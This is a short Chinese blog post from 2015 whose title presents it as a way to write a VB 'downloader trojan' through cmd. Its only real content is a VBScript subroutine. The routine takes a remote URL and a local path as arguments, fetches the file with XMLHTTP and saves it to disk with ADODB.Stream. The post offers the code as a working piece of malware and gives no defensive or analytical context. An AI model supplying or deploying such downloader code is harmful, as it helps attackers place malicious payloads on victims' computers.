網頁

2015年7月9日 星期四

cmd寫入vb語言下載者木馬 



Sub download(url,target)
 iLocal=LCase(Wscript.Arguments(1))
 iRemote=LCase(Wscript.Arguments(0))
 Set xPost=createObject("Microsoft.XMLHTTP")
 xPost.Open "GET",iRemote,0
 xPost.Send()
 set sGet=createObject("ADODB.Stream")
 sGet.Mode=3
 sGet.Type=1
 sGet.Open()
 sGet.Write xPost.ResponseBody
 sGet.SaveToFile iLocal,2
End Sub










張貼者：



於







































沒有留言:















張貼留言


有任何問題隨時可以留言請教我






















        

      









訂閱：
張貼留言 (Atom)